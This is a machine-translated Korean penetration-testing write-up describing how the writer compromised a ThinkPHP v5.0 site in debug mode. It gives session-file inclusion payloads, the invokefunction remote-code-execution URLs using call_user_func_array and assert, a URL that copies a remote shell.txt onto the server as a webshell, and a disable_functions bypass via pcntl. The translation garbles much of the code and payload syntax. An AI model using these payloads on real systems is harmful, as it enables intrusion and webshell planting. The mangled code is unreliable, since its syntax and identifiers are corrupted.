제목 : 침투 기록 | ThinkPhp는 한계를 우회합니다

이 기사는 보안 팀 공식 계정의 출처로 추적 할 수 없습니다.

0x01 前言​

ThinkPhp v5.0을 사용하여 프로젝트에서 웹 사이트를 만났습니다.* 프레임 워크와 디버그 모드가 활성화되었습니다. 나는 페이로드를 보내면 해결할 수 있다고 생각했지만, 그것을 얻는 과정이 완료되어야 할 것이라고 기대하지는 않았다 .

0x02 踩坑​

명령을 실행하려고 시도하면 시스템이 제한됩니다.
1.png

로그 파일, Open_basedir 한도를 포함 시키십시오
2.png

다음은 런타임에 로그 파일을 포함시킬 수 있지만 ThinkPhp의 로그 파일은 비교적 크며 때로는 코드 실행을 차단하는 이상한 문제가 많이 있습니다. 대안으로 사용합시다.
3.png

ThinkPhp 자체 라이브러리에서 세션 메소드를 설정하여 TMP 디렉토리의 세션 파일에 스크립트를 작성한 다음 포함하십시오.
1_METHOD=__ ConstructFilter []=Think \ Session: 세트 메드=GetServer [request_method]=? phpinfo ();
4.png

0x03 GetShell​

말이 진행되는 바와 같이, 3 개의 조약돌은 한 명의 조지 리앙이며, 석사들에게 도움을 요청한 후에는 해결책을 제시했습니다.
마스터 노엘의 솔루션 및 분석 :
5.png

Call_user_func은 request.php의 필터 값 함수 하에서 존재합니다. 페이로드에 따르면 프로세스가 추적됩니다.
먼저, app.php의 실행 메소드를 입력합니다
12345678910111213141516171718192021222222425 공개 정적 함수 실행 (요청 $ 요청=null) {………………………………………………………………………………………………………………………………………… 일정 정보를 얻기위한 현재 클래스. 인덱스 모듈에서 인덱스 컨트롤러에서 인덱스 메소드에 액세스하면 $ dispatch=array (2) {[ 'type']=String (6) 'module'[ 'module']=array (3) {[0]=String (5) 'index'[1]=String (5) 'index'[2]=String (5) 'index'}}}}}}}}}}}}} self:3360RouteCheck ($ request, $ config); } //현재 일정 정보를 기록합니다. 검색된 스케줄링 정보, 즉 모듈, 컨트롤러 및 메소드 이름은 요청 클래스의 Dispatch 속성에 저장됩니다. $ request-dispatch ($ dispatch); //레코드 라우팅 및 요청 정보. 모드는 \ application \ config.php 매개 변수 app_debug if (self: $ debug) {log:record ( '[rout]' '. var_export ($ dispatch, true),'info ')에서 구성 가능합니다. log:record ( '[Header]'. var_export ($ reques-header (), true), 'info'); log:3360record ( '[param]'. var_export ($ request-param (), true), 'info'); } …………………………………
12345678public static function rounecheck ($ request, array $ config) {$ path=$ request-path (); $ dall=$ config [ 'pathinfo_depr']; $ result=false; ………………………………………………………………………………………………………………………………//Route detection (return different URL scheduling according to the route definition) $result=Route:check($request, $path, $depr, $config['url_domain_deploy']); 주로 요청 매개 변수에 전달되며 모든 것이 기본적으로 확인 후 처리됩니다.
6.png

디버그 모드가 활성화되면 Param 함수를 입력 할 수 있습니다.
1234567if (빈 ($ this-param)) {$ method=$ this-method (true); $ this-param=array_merge ($ this-get (false), $ vars, $ this-route (false));} $ this-input ($ this-param, $ name, $ default, $ filter); 입력 함수에 대한 후속 조치
1234567891011 공개 함수 입력 ($ data=[], $ name='', $ default=null, $ filter='') {. $ filter=$ this-getFilter ($ filter, $ default); if (is_array ($ data)) {array_walk_recursive ($ data, [$ this, 'filterValue'], $ 필터); 재설정 ($ data); } else {$ this-filterValue ($ data, $ name, $ filter); } getFilter는 필터의 값을 꺼냅니다.
Array_Walk_Recursive
Array_Walk_Recursive () 함수는 배열의 각 요소에 사용자 정의 함수를 적용합니다. 함수에서 배열의 키 이름과 키 값은 매개 변수입니다. 이 함수와 Array_Walk () 함수의 차이점은 더 깊은 배열을 조작 할 수 있다는 것입니다 (한 배열에는 다른 배열이 포함되어 있음).
FilterValue 기능을 $ 데이터의 각 요소에 적용하고 FilterValue 후속 조치
12345678Function FilterValue ($ value, $ key, $ 필터) {. if (is_callable ($ filter)) {//콜 함수 또는 메소드를 필터링하는 value=call_user_func ($ filter, $ value); } .} Master Gunmeng의 솔루션 및 분석 :
페이로드 참조 :
보낸 사람 : https://xz.aliyun.com/t/3570#toc-4
1http://127.0.0.1/index.php?s=index/theink/aph_arrayvars=] func_arrayvars;0 ]=ASSERTVARS==]==PHPINFO()Execute phpinfo (여기서? S=이후).
1https://127.0.0.1/?s=./\ \ app/app/invokeFunctionFunction=call_user_func_arrayvars [0]=assertVars [1] []=phpinfo () 쉘을 가져갑니다
1https://127.0.0.1/?s=./\ think\app/invokefunctionfunction=call_user_func_arrayvars=]=]=AssertVars=]=Copy('http://127.0.1/shell.txt ', notest.php')? 현재 디렉토리 상황 및 분석이 주어지면 :
7.png

route.php의 parseurl 함수는 URL을 처리합니다
1234567 정적 함수 parseurl ($ url, $ urt='/', $ autoSearch=false) {. $ url=str_replace ($ dump, '|', $ url); 목록 ($ path, $ var)=self:parseurlpath ($ url);} 먼저 URL에서 | 그런 다음 parseurlpath를 통해 URL을 분할하십시오
1234567891011121314151617 프리 페트 정적 함수 parseurlpath ($ url) {//delimiter 교체 경로 정의가 통합 된 delimiter $ url=str_replace ( '|', ', $ url)를 사용하는지 확인하십시오. $ url=trim ($ url, '/'); $ var=[]; if (false!==strpos ($ url, '?')) {.} elseif (strpos ($ url, '/')) {//[module/controller/operation] $ path=exploit ( '/', $ url); } else {.} return [$ path, $ var]; } 다음 세 부분을 가져옵니다
8.png

모듈이로드 될 때 loder.php 아래에서 parsename 함수
1234567891011public static function parsename ($ name, $ type=0, $ ucfirst=true) {if ($ type) {$ name=preg_replace_callback ( '/_ ([a-za-z]]), 함수 ($ match) {return strtoupper ($ match [1]); $ ucfirst를 반환합니까? UCfirst ($ name) : lcfirst ($ name); } else {return strtolower (trim (preg_replace ( '/[a-z]/', '_ \\ 0', $ name), '_')); }}
9.png

이제 \ Think \ App 클래스가 인스턴스화되고 InvokeFunction 메소드가 실행됩니다.
10.png

그래서 추가하는 이유는 ./\는 조금 더 뛰어 넘을 수 있기 때문입니다.

0x04 bypass disable_functions​

뷰 비활성화
11.png

처음에는 장애인 콘텐츠를주의 깊게 보지 않았으므로 방금 사용했습니다.
그러나 Putenv는 장애가있는 것으로 밝혀졌습니다
12.png

이 기사를 통해 방법을 변경하십시오
PCNTL 확장자를 사용하여 시스템 지원을 확인했습니다.
13.png

마지막으로 명령이 성공적으로 실행되었습니다
14.png
 
뒤로
상단